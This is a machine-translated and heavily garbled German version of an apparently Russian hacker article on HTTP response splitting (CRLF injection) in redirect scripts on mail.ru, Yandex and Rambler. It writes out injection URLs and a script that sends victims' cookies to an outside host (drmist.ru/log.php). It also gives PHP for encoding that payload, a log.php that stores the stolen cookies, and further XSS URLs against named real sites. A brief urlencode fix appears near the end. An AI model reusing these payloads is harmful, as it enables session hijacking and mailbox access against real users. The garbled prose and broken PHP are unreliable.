This page has been robot translated, sorry for typos if any. Original content here.

HTTP Splitting Verwundbarkeit

Der Artikel rassmtrivaetsya praktische Anwendungsschwachstellen, wie HTTP - Splitting Verwundbarkeit bekannt

Buggy header () unter dem Mikroskop

Wanderung durch die Weiten des Internet, beobachten wir häufig Spezies url http://anyhost.com/redirect.php?url=http://otherhost.com kunstlos nicht denken Anwender nicht ständig klickt einfach auf sie bietet auch für otherhost.com. Neugierige Anwender Einsätze an Ort und Stelle URL - Adresse cvoey hompagi auch krivosti Skript überzeugt.
Zusätzlich zu den einfachen und neugierig sehr neugierig Benutzern live im Internet. Sie durchdringen die Verbindung in Access auch das Skript zu lernen beginnen.

1. Das Wesen des Fehlers.
2. Anwendung.
3. Lage der Prävalenz des Irrtums.
4. Die Mittel des Schutzes.

für Tanker legt nahe, dass Access - „hakresky“, wie es in der Nation, eine Waffe zum Ausdruck kommt. Laden Sie es erlaubt offsayte Projekt. Zum Zeitpunkt des Schreibens dieses Artikels, die neueste Version des Programms war 4,173. Das Programm wird am meisten bekannt für seine HTTP Debuger Funktion. Sie können, indem Sie auf den Expertenmodus und Auswahl der entsprechenden Option im Menü Extras (- je nach Version des Schlüssels kann variieren F4 dann CTR + F9) sie nutzen. Als nächstes wird, können wir jeden Schüler mit dem Taucher fertig zu werden vielleicht auf das Einrichten dieser Funktion, konzentrieren sich nicht darum.

für Experimente wählten wir mail.ru , wie es der berühmteste Postdienst in RuNet und der Leser wird besonders daran interessiert zu wissen , über einen Fehler an diesem Projekt ist;) Lassen Sie uns auf den Link gehen http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net. Wir werden für die Computersicherheit zu dem meisten gewählten Portal verbreiten). Fügen Sie die Website zu Ihren Favoriten hinzu und kommen zurück in die Post. Wir schreiben die Referenz Interesse uns in dem HTTP-Adressfeld, und rufen Sie den Modus gleich setzen, klicken Sie auf Verbinden.
Bevor Sie uns vom Server, so etwas wie die skrinshete zurück HTTP-Header angezeigt:



Lassen Sie uns Sorge auf die unterstrichene Linie. Met Titel Standort :, Browser nimmt uns bedingungslos an die angegebene URL. Deshalb können wir dem Anwender eine Verknüpfung zu rutschen, wie es war, auf der Post, aber es ist wirklich Mail nicht bekommt. Das ist in Ordnung, aber in der Praxis nichts macht entfremdet nicht.

Lassen Sie die Sorge , dass der Stich Titel 0Dh 0Ah durch zwei Zeichen getrennt. Und was, wenn am Ende der Verbindung zu ihnen zugeschrieben? Mal sehen , was wir den Server auf den Einwand http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist Anfrage zurück:



Wie interessant. So können wir machen den Server fast jeden Titel zurück. Zum Beispiel, um die Cookies Benutzer zu ändern. Aber noch einmal, das ist nicht so interessant wie die Tatsache, dass langsam voran. Das Interessante daran ist , dass die Header aus dem Körper wirken 0Dh 0Ah 0Dh 0Ah Sequenz voneinander getrennt sind. Sind wir in der Lage jede volle Seite zu geben? Einführung http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie); </ script> <- auch aussehen:



Das alles ist gelb - das ist der Text des Dokuments selbst. Falls Ihr Browser JavaScript aktiviert ist, dann gehen Sie auf den Link wir unser Meldungsfeld mit dem Cookie sehen. Um den XSS-Angriff zu machen, müssen Sie:
1) Erstellen Sie einen Seitentyp <script> document.location = ‚http://drmist.ru/log.php?'+document.cookie; </ script>
2) Setzen Sie sich auf URL-Kodierung mit einem Skript:

<? Php
$ Url = "http://go.mail.ru/urltracker?url=";
$ S = "<script> document.location = 'http: //drmist.ru/log.php'";
$ S = "+ document.cookie; < / script>" .;
$ Res = "";
for ($ i = 0; $ i strlen ($ s < ); $ i ++)
{
$ Res = "%" .;
$ T = ord ($ s [ $ i]);
if ($ t <16)
$ Res = "0" .;
$ Res = dechex ($ t) .
}

.. echo $ url "% 0d % 0a% 0d% 0a" $ res;
?>

erhalten wir:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... etc. (**)

3) ein Skript schreiben log.php und gießt es über die drmist.ru:
<? Php
$ Fid = fopen ( "../ log.txt ", "a");
fputs ($ fid, $ _SERVER [ "QUERY STRING"] "\ r \ r \ r".);
fclose ($ fid);
header ( "Location: http://www.mail.ru") ;
?>

Jetzt vparivat magische Verbindung erlaubt (**) und Kauf Cookies Opfer.
Es erlaubt ihnen viele nützliche Dinge zu tun, wie zum Beispiel den Zugriff auf E-Mail, aber auf, dass mehr an einem anderen Tag, wir auch so cool aus dem Hauptthema ablenken.

Natürlich muss man nicht auf der Mail-Laufwerk, ist es Buggy Ressource Scheiße, und kann schließlich nicht von unserer Sandbox. Alle Menschen neigen dazu, den Fehler zu machen, aber Administratoren meyl.ru falsch weniger häufig und weniger häufig. Echte Fehler nach wie vor. Die Menschen schweigen über sie nicht, weil die Gier, sondern aus Angst vor einer unzureichenden Antwort auf ihre Anwesenheit Verwaltung, die, laut Statistik, einen Platz hat. Glücklicherweise ist das Vorhandensein von XSS noch keine Garantie für den Zugriff auf die Mailbox zu gewinnen. Ich bin sicher, dass der Fehler geschlossen. Spätestens - durch die Hand von 2 Tagen. Vulnerable nicht nur mail.ru. Wir empfehlen dringend, zu lesen:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Ehrlich gesagt, waren wir überrascht , groß zu sein , zu welchem Zeitpunkt gelernt über diese Schwachstellen schrieben am securitylab.ru vor 3 Jahren (siehe Einleitung CRLF in PHP - Funktion header () von 10.09.2002), sondern wegen der praktischen Anwendung der Fehler, können wir nicht Heard hat nie daran gedacht, sie das Thema auf dem Laufenden. Darüber hinaus bla bla vryatli nicht das tatsächliche Vorhandensein von Fehlern auf Yandex, Rambler und E-Mail nennen erlaubt.

Korrigieren Sie den Fehler nicht schwer. Lassen Sie verwundbar Skript essen:

<?
if (! isset ($ url) )
$ Url = "http://www.mail.ru";

header ( "Location: $ url" );

?>

Wir machen ihn unverwundbar:

header ( "Location:" .urlencode ( $ url));

Wenn die Umleitung innerhalb der Website nur geplant ist, ist es am besten, dies zu tun:

header ( „Location: http://www.mail.ru/".urlencode($url)) ;

Das ist wahrscheinlich auch alles, was wir sagen wollten. Lassen Sie schließlich mehrere XSS bieten:

http://talk.mail.ru/article.html?ID=31836089&page=1 „> <h1> XSS < / h1>
http://www.pochta.ru/?lng=en „<h1> XSS </ h1>